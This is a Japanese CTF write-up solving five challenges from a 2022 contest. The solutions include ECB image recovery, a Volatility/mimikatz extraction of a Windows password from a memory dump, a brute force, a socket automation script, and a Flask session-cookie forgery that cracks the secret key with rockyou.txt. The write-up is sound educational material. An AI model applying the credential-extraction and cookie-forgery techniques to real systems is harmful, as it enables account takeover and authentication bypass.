この大会は2022/2/11 18:00(JST)~2022/2/14 0:00(JST)に開催されました。
今回もチームで参戦。結果は379点で306チーム中110位でした。
自分で解けた問題をWriteupとして書いておきます。
raw-image (Cryptography)
$ file raw-image.bin raw-image.bin: openssl enc'd data with salted password
バイナリを見てみると、16バイトごとに以下のバイト文字列がある部分がある。
\x18\x62\x49\xa2\x7b\x26\xe2\xac\xb1\x51\x1b\xc9\x06\xfc\xec\xe8
おそらくECBモードでbmpを暗号化されていると考えられる。途中から切り出し、画像の幅を一定の範囲で総当たりしてフラグが見えるものを探す。その際、BMPのファイルフォーマットは以下のようになっていることを使う。
0000-0001: "BM"固定 0002-0005: ファイルサイズ 0006-0009: "00 00 00 00"固定 000a-000d: ヘッダ部データサイズ 000e-0011: "28 00 00 00"固定 0012-0015: 画像の幅 0016-0019: 画像の高さ 001a-001b: "01 00"固定 001c-001d: RGBの場合、"18 00"
#!/usr/bin/env python3 import struct with open('raw-image.bin', 'rb') as f: enc = f.read() i_height = 512 SIG = b'BM' FILE_SIZE = struct.pack('I', len(enc) - 16) ZERO4 = b'\x00' * 4 HEADER_SIZE = struct.pack('I', 54) HEIGHT = struct.pack('I', i_height) NEXT = b'\x01\x00\x18\x00' + ZERO4 for w in range(256*2, 256*8): fname = 'out_w/image_%04d.bmp' % w dec = SIG + FILE_SIZE + ZERO4 + HEADER_SIZE + b'\x28\x00\x00\x00' dec += struct.pack('I', w) dec += HEIGHT dec += NEXT dec += struct.pack('I', w * i_height * 3) dec += ZERO4 * 4 dec += enc[0x36:] dec = dec.replace(b'\x18\x62\x49\xa2\x7b\x26\xe2\xac\xb1\x51\x1b\xc9\x06\xfc\xec\xe8', b'\xff' * 16) with open(fname, 'wb') as f: f.write(dec)
image_2000.bmpを無理やり開くと、フラグが書かれている
<b>CTF{c589616e64bb57abab4e68d96cb015c442f5a3e14c0c0f27f7ef1892f17bff75}</b> |< * this-file-hides-something (Forensics) ダンプファイルからパスワードを答える問題。 >|sh| $ volatility -f crashdump.elf imageinfo Volatility Foundation Volatility Framework 2.6.1 INFO : volatility.debug : Determining profile based on KDBG search... Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_24000, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_24000, Win7SP1x64_23418 AS Layer1 : WindowsAMD64PagedMemory (Kernel AS) AS Layer2 : VirtualBoxCoreDumpElf64 (Unnamed AS) AS Layer3 : FileAddressSpace (/ctf/work/crashdump.elf) PAE type : No PAE DTB : 0x187000L KDBG : 0xf80002831120L Number of Processors : 1 Image Type (Service Pack) : 1 KPCR for CPU 0 : 0xfffff80002833000L KUSER_SHARED_DATA : 0xfffff78000000000L Image date and time : 2022-02-06 11:04:38 UTC+0000 Image local date and time : 2022-02-06 03:04:38 -0800 $ volatility --plugins=../plugins -f crashdump.elf --profile=Win7SP1x64 mimikatz Volatility Foundation Volatility Framework 2.6.1 Module User Domain Password -------- ---------------- ---------------- ---------------------------------------- wdigest Nightcrawler full-moon Str0ngAsAR0ck! wdigest WIN-2JP7TCGP0PK$ WORKGROUP
Str0ngAsAR0ck!
algorithm (Reverse Engineering, Cryptography)
polinom関数は複雑だが、inputは0~99の100パターンしかない。ブルートフォースで全パターンの対応テーブルを作成し、暗号の数値文字列を切りながら、復号していく。
#!/usr/bin/env python2 def polinom(n, m): i = 0 z = [] s = 0 while n > 0: if n % 2 != 0: z.append(2 - (n % 4)) else: z.append(0) n = (n - z[i])/2 i = i + 1 z = z[::-1] l = len(z) for i in range(0, l): s += z[i] * m ** (l - 1 - i) return s with open('flag_enc.txt', 'r') as f: enc = f.read().rstrip() nfs = [] for d in range(100): nfs.append(polinom(d, 3)) iflag = '' iflags = [] index = 0 finish = False while True: for size in range(4, 0, -1): nf = int(enc[index:index + size]) if nf in nfs: d1 = enc[index:index + size] d2 = enc[index:] if d1 == d2: finish = True s = str(nfs.index(nf)) if finish: if len(s) == 1: iflags += [iflag + s, iflag + s.zfill(2)] else: iflags += [iflag + s] else: iflag += s.zfill(2) index += size break if finish: break for iflag in iflags: hflag = hex(int(iflag))[2:].rstrip('L') if len(hflag) % 2 == 1: continue flag = hflag.decode('hex') print flag
復号結果は以下の通り。
[ola_th1s_1s_p0l]
$ echo -n [ola_th1s_1s_p0l] | sha256sum 267a4401ea64e7167168969743dcc708399e3823d40e4ae37c78d675e281cb14 -
CTF{267a4401ea64e7167168969743dcc708399e3823d40e4ae37c78d675e281cb14}
zebra-lib (Misc)
$ nc 34.159.7.96 32750 Incoming work proof!!! eJwrzy_Kji8oys9Ps00zMbIst7QsNUjMTE60LE_JKM1IS0lMs0hMychIzMgoBgBfNxAC Insert work proof:
URLセーフなbase64デコードをすると、zlibのデータになっていることがわかるので、さらに解凍して答えていく。
#!/usr/bin/env python3 import socket import base64 import zlib def recvuntil(s, tail): data = b'' while True: if tail in data: return data.decode() data += s.recv(1) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('34.159.7.96', 32268)) i = 1 while True: print('******** Round %d ********' % i) data = recvuntil(s, b'\r\n').rstrip() print(data) if data != 'Incoming work proof!!!': break data = recvuntil(s, b'\r\n').rstrip() print(data) work_proof = zlib.decompress(base64.urlsafe_b64decode(data)).decode() data = recvuntil(s, b'\r\n').rstrip() print(data) print(work_proof) s.sendall(work_proof.encode() + b'\n') i += 1 data = recvuntil(s, b'\r\n').rstrip() print(data)
実行結果は以下の通り。
: ******** Round 497 ******** Incoming work proof!!! eJwrzy_Kji8oys9PszUpTzXJTEvNMEy1SLc0SaxKSy5PNCktzEjNME4zNjK2AABi9g88 Insert work proof: work_proof=4we4ifeh1e8g94azfcwa4uqheh3f3238 ******** Round 498 ******** Incoming work proof!!! eJwrzy_Kji8oys9PszUqLTc2tzQ2Kk3NSE0pN7bISCwuN7ZMKU8rTk1My7BIBQBcTQ-d Insert work proof: work_proof=2uw37932uehedw38hasw39dwfseafh8e ******** Round 499 ******** Incoming work proof!!! eJwrzy_Kji8oys9Ps003yahKS0tLN0kzs0wsTjTOyDC3NCpPM06zME01zEjLAABhNg8u Insert work proof: work_proof=g4hzfffg4f69asa3hh792wf3f85e1hfh ******** Round 500 ******** Well done! CTF{a7550246d72f8c7946a9248b3b9eee93461ac30f53ac8ca9749c9590b4ed1a2b}
CTF{a7550246d72f8c7946a9248b3b9eee93461ac30f53ac8ca9749c9590b4ed1a2b}
web-intro (Web)
Cookieのsessionキーに以下の値が設定されている。
eyJsb2dnZWRfaW4iOmZhbHNlfQ.YgZGEg.zq0NOh8db9j8TPtK11l1m-bfhXg
Flaskのsessionのようなので、ブルートフォースでそのkeyを求め、'logged_in'をTrueにしたものを求める。
from flask.sessions import SecureCookieSessionInterface from itsdangerous import base64_decode, URLSafeTimedSerializer class SimpleSecureCookieSessionInterface(SecureCookieSessionInterface): def get_signing_serializer(self, secret_key): signer_kwargs = { 'key_derivation': self.key_derivation, 'digest_method': self.digest_method } return URLSafeTimedSerializer( secret_key, salt=self.salt, serializer=self.serializer, signer_kwargs=signer_kwargs ) class FlaskSessionCookieManager: @classmethod def decode(cls, secret_key, cookie): sscsi = SimpleSecureCookieSessionInterface() signingSerializer = sscsi.get_signing_serializer(secret_key) return signingSerializer.loads(cookie) @classmethod def encode(cls, secret_key, session): sscsi = SimpleSecureCookieSessionInterface() signingSerializer = sscsi.get_signing_serializer(secret_key) return signingSerializer.dumps(session) no_login_cookie = 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.YgZGEg.zq0NOh8db9j8TPtK11l1m-bfhXg' with open('dict/rockyou.txt', 'rb') as f: words = f.read().splitlines() for key in words: try: session = FlaskSessionCookieManager.decode(key, no_login_cookie) print('key =', key.decode()) print('session =', session) break except: continue admin_session = session admin_session['logged_in'] = True admin_cookie = FlaskSessionCookieManager.encode(key, admin_session) print('admin cookie =', admin_cookie)
実行結果は以下の通り。
key = password session = {'logged_in': False} admin cookie = eyJsb2dnZWRfaW4iOnRydWV9.YgbuWw.znCKyTFVp5TmsOx1LgUNpmd6Q1k
この値をクッキーのsessionキーに設定し、リロードする。
You are logged in! CTF{66bf8ba5c3ee2bd230f5cc2de57c1f09f471de8833eae3ff7566da21eb141eb7}
CTF{66bf8ba5c3ee2bd230f5cc2de57c1f09f471de8833eae3ff7566da21eb141eb7}